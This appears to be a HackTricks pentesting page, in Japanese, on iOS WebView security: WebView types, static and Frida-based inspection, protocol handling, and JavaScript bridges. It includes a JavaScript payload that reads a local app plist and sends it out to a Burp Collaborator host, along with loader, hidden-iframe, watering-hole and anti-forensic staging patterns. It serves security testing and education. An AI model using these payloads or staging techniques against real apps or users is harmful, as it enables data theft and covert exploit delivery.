iOS WebViews
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
The code of this page was extracted from here. Check the page for further details.
WebViews の種類
WebViews はアプリ内で対話的にウェブコンテンツを表示するために利用されます。さまざまな種類の WebViews は iOS アプリ向けに異なる機能やセキュリティ特性を提供します。以下は簡単な概要です:
-
UIWebView は、JavaScript を無効化するサポートがないため iOS 12 以降では推奨されません。そのため script injection や Cross-Site Scripting (XSS) 攻撃に対して脆弱になります。
-
WKWebView はアプリにウェブコンテンツを組み込む際の推奨オプションで、コンテンツやセキュリティ機能に対する制御が強化されています。JavaScript はデフォルトで有効ですが、必要に応じて無効にすることができます。自動的にウィンドウを開かせないようにする機能や、すべてのコンテンツを安全に読み込む機能もサポートしています。さらに、WKWebView のアーキテクチャによりメモリ破損がメインアプリのプロセスに影響を与えるリスクが最小化されます。
-
SFSafariViewController はアプリ内で標準化された閲覧体験を提供し、読み取り専用のアドレスフィールド、共有・ナビゲーションボタン、Safari で開くための直接リンクなど特有のレイアウトで識別できます。WKWebView と異なり SFSafariViewController では JavaScript を無効にすることはできず、Safari とクッキーやデータを共有するためアプリからユーザのプライバシーを保ちます。App Store のガイドラインに従い目立つ形で表示する必要があります。
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
WebViews 設定探索の要約
静的解析の概要
WebViews の設定を調査する過程では、主に 2 種類、UIWebView と WKWebView に注目します。これらの WebViews を binary 内で特定するために、特定のクラス参照や初期化メソッドを検索するコマンドを使用します。
- UIWebView の識別
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
このコマンドは、バイナリ内の関連するテキスト文字列を検索することで、UIWebView のインスタンスを特定するのに役立ちます。
- WKWebView の識別
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
同様に、WKWebView に対して、このコマンドはバイナリ内でその使用を示すテキスト文字列を検索します。
さらに、WKWebView がどのように初期化されるかを見つけるために、初期化に関連するメソッドシグネチャを対象とした次のコマンドを実行します:
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
JavaScript 構成の検証
WKWebView では、必要でない限り JavaScript を無効にすることがベストプラクティスであると強調されています。コンパイル済みバイナリを検索して、javaScriptEnabled プロパティが false に設定されていることを確認し、JavaScript が無効であることを保証します:
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
Only Secure Content Verification
WKWebViewは混在コンテンツの問題を識別する機能を提供し、UIWebViewとは対照的です。
これはhasOnlySecureContentプロパティを使用してチェックされ、すべてのページリソースが安全な接続経由で読み込まれていることを確認します。
コンパイル済みバイナリ内の検索は次のように行われます:
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
動的解析の洞察
動的解析では、ヒープを調べて WebView インスタンスとそのプロパティを検査します。webviews_inspector.js というスクリプトがこの目的で使用され、UIWebView、WKWebView、SFSafariViewController のインスタンスをターゲットにします。スクリプトは発見したインスタンスの情報(URL や JavaScript およびセキュアコンテンツに関連する設定など)をログに記録します。
ヒープの検査は ObjC.choose() を使って WebView インスタンスを特定し、javaScriptEnabled と hasonlysecurecontent プロパティを確認することで行えます。
ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})
ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})
スクリプトは次のコマンドで実行されます:
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
Key Outcomes:
- WebViews のインスタンスを特定し、検査できること。
- JavaScript の有効化状況とセキュアなコンテンツ設定を確認する。
この要約は、静的および動的アプローチを通じて WebView の構成を解析する際の重要な手順とコマンドをまとめたもので、JavaScript の有効化や mixed content 検出などのセキュリティ機能に焦点を当てています。
WebView Protocol Handling
WebViews 内でのコンテンツ処理は重要であり、特に http(s)://、file://、tel:// のような複数のプロトコルを扱う場合に重要です。これらのプロトコルは、アプリ内でリモートおよびローカルのコンテンツを読み込めるようにします。ローカルコンテンツを読み込む場合、ユーザーがファイル名やパスに影響を与えたり、コンテンツそのものを編集したりできないように対策を講じることが強調されます。
WebViews はコンテンツ読み込みのために複数のメソッドを提供します。廃止された UIWebView では loadHTMLString:baseURL: や loadData:MIMEType:textEncodingName:baseURL: のようなメソッドが使われます。一方 WKWebView では、loadHTMLString:baseURL:、loadData:MIMEType:textEncodingName:baseURL:、および loadRequest: を web コンテンツに対して使用します。pathForResource:ofType:、URLForResource:withExtension:、および init(contentsOf:encoding:) のようなメソッドは通常ローカルファイルの読み込みに使われます。loadFileURL:allowingReadAccessToURL: は特定の URL またはディレクトリを WebView に読み込める点が特に注目すべきであり、ディレクトリが指定されると機密データを露出する可能性があります。
ソースコードやコンパイル済みバイナリ内でこれらのメソッドを見つけるには、次のようなコマンドを使用します:
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
file access に関して、UIWebView はそれを全般的に許可しますが、WKWebView はファイル URL からのアクセスを管理するために allowFileAccessFromFileURLs と allowUniversalAccessFromFileURLs の設定を導入しており、両方ともデフォルトでは false です。
セキュリティ設定を確認するための WKWebView 構成を検査する Frida スクリプトの例が示されています:
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
最後に、ローカルファイルのexfiltratingを目的としたJavaScript payloadの例は、誤って構成されたWebViewsに伴う潜在的なセキュリティリスクを示しています。
このpayloadはファイル内容をhex形式にエンコードしてからサーバーに送信し、WebView実装における厳格なセキュリティ対策の重要性を強調しています。
String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)
WebViewsを介して公開されるネイティブメソッド
iOSにおけるWebViewのネイティブインターフェースの理解
iOS 7以降、AppleはWebView内のJavaScriptとネイティブ(SwiftやObjective-C)オブジェクト間の通信を可能にするAPIを提供しています。この統合は主に次の2つの方法によって行われます:
- JSContext: SwiftまたはObjective-Cのブロックが
JSContext内の識別子に関連付けられると、自動的にJavaScriptの関数が生成されます。これにより、JavaScriptとネイティブコード間でシームレスな統合と通信が可能になります。 - JSExport Protocol:
JSExportプロトコルを継承することで、ネイティブのプロパティ、インスタンスメソッド、クラスメソッドをJavaScriptへ公開できます。これにより、JavaScript環境で行われた変更はネイティブ環境に反映され、その逆も同様です。ただし、この方法で機密データが誤って公開されないよう注意することが重要です。
Accessing JSContext in Objective-C
Objective-Cでは、UIWebViewのJSContextは次の1行のコードで取得できます:
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
WKWebViewとの通信
WKWebViewでは、JSContextへの直接アクセスは利用できません。代わりに、postMessage関数を介したメッセージパッシングが使用され、JavaScriptからネイティブへの通信を可能にします。これらのメッセージ用のハンドラは次のように設定され、JavaScriptがネイティブアプリケーションと安全にやり取りできるようになります:
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
インタラクションとテスト
JavaScriptはscript message handlerを定義することでネイティブ層と対話できます。これにより、ウェブページからネイティブ関数を呼び出すといった操作が可能になります:
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
ネイティブ関数呼び出しの結果をキャプチャして操作するには、HTML内でコールバック関数を上書きできます:
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>
ネイティブ側は JavaScriptBridgeMessageHandler クラスに示されるように JavaScript の呼び出しを処理し、数値の乗算などの操作結果を処理して表示やさらなる操作のために JavaScript に返します:
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
iOS Web Exploit Delivery & Staging Tradecraft
次のパターンは実世界の iOS Safari/WebKit exploit delivery chains で観測されており、分析、検出、および制御されたエミュレーションに有用です。
Multi-stage loader via hidden iframes
一般的なステージングパターンは、実行をゲートして reinfection や analysis を避け、次のステージのために hidden/off-screen iframe を挿入することです:
<script>
if (!sessionStorage.getItem('uid') && isTouchScreen) {
sessionStorage.setItem('uid', '1');
const frame = document.createElement('iframe');
frame.src = 'frame.html?' + Math.random();
frame.style.height = 0;
frame.style.width = 0;
frame.style.border = 'none';
document.body.appendChild(frame);
} else {
top.location.href = 'red';
}
</script>
最小限のステージングページはdocument.write()を介してメインローダーを注入できます:
<script>
document.write('<script defer="defer" src="rce_loader.js"><\/script>');
</script>
Loaderステージは、後続のJavaScriptを同期的に読み込むことが多い:
function getJS(fname) {
const xhr = new XMLHttpRequest();
xhr.open('GET', fname, false);
xhr.send(null);
return xhr.responseText;
}
後続のステージは、Blob URL を構築してワーカーのようなコンテキストで実行できます:
const workerCode = getJS('rce_worker_18.4.js');
const workerBlob = new Blob([workerCode], { type: 'text/javascript' });
const workerBlobUrl = URL.createObjectURL(workerBlob);
SafariをWebKit/JSCの領域に強制的に到達させる
別のブラウザでvictimがlureを開いた場合、protocol handlerがSafariを強制的に起動させることができます:
if (typeof browser === 'undefined' && isIphone()) {
location.href = 'x-safari-https://example.com/<redacted>';
}
暗号化されたステージ取得 (ECDH + AES)
一部の loaders は転送中の exploit stages を暗号化します。最小限のクライアントフローは次のとおりです: ephemeral ECDH keypair を生成し、base64 public key を POST して encrypted blobs を受け取り、AES キーを導出して復号し、JavaScript にデコードします:
const kp = generateKeyPair();
const pubPem = exportPublicKeyAsPem(kp.publicKey);
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://<redacted>/stage?'+Date.now(), false);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({ a: btoa(pubPem) }));
const { a, b } = JSON.parse(xhr.responseText);
const aesKey = deriveAesKey(kp.privateKey, b64toUint8Array(b));
const js = new TextDecoder().decode(decryptData(b64toUint8Array(a), aesKey));
Watering-hole injection pattern
侵害されたサイトはリモートスクリプトを読み込み、画面外に配置した iframe を構築し、sandbox で制約をかけつつスクリプト実行を許可することができます:
<script async src="https://static.example.net/widgets.js?token"></script>
const iframe = document.createElement('iframe');
iframe.src = 'https://static.example.net/assets/index.html';
iframe.style.width = '1px';
iframe.style.height = '1px';
iframe.style.position = 'absolute';
iframe.style.left = '-9999px';
iframe.style.opacity = '0.01';
iframe.setAttribute('sandbox', 'allow-scripts allow-same-origin');
document.body.appendChild(iframe);
Post-exploitation アンチフォレンジック指標 (JS implants)
/tmp/<uuid>.<digits>/以下に一時的なステージングがあり、サブフォルダはSTORAGE、DATA、TMPのようなもの。/var/mobile/Library/Logs/CrashReporter/のクラッシュログの削除(多くは WebKit/SpringBoard の部分文字列でフィルタリングされる)。/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/の再帰的削除。
iOS WebViews のデバッグ
(チュートリアルは https://blog.vuplex.com/debugging-webviews のものをベースにしています)
iOS webviews 内の web コンテンツを効果的にデバッグするには、Safari の開発者ツールを含む特定のセットアップが必要です。これは console.log() に送られたメッセージが Xcode のログに表示されないためです。以下は主要な手順と要件を強調した簡易ガイドです:
-
iOS デバイスでの準備: Safari Web Inspector を iOS デバイスで有効にする必要があります。Settings > Safari > Advanced に移動し、Web Inspector を有効にします。
-
macOS デバイスでの準備: macOS の開発機では Safari の開発者ツールを有効にする必要があります。Safari を起動し、Safari > Preferences > Advanced にアクセスして Show Develop menu オプションを選択します。
-
接続とデバッグ: iOS デバイスを macOS に接続してアプリを起動したら、macOS 上の Safari を使ってデバッグしたい webview を選択します。Safari のメニューバーで Develop に移動し、iOS デバイス名にカーソルを合わせると webview インスタンスの一覧が表示されるので、検査したいインスタンスを選択します。新しい Safari Web Inspector ウィンドウが開きます。
ただし、以下の制限に注意してください:
- この方法でのデバッグは Safari に依存するため macOS デバイスが必要です。
- Xcode を使ってデバイスに読み込まれたアプリ内の webview のみデバッグ可能です。App Store または Apple Configurator でインストールされたアプリ内の webview はこの方法ではデバッグできません。
参考資料
-
https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain/
-
https://github.com/authenticationfailure/WheresMyBrowser.iOS
-
https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


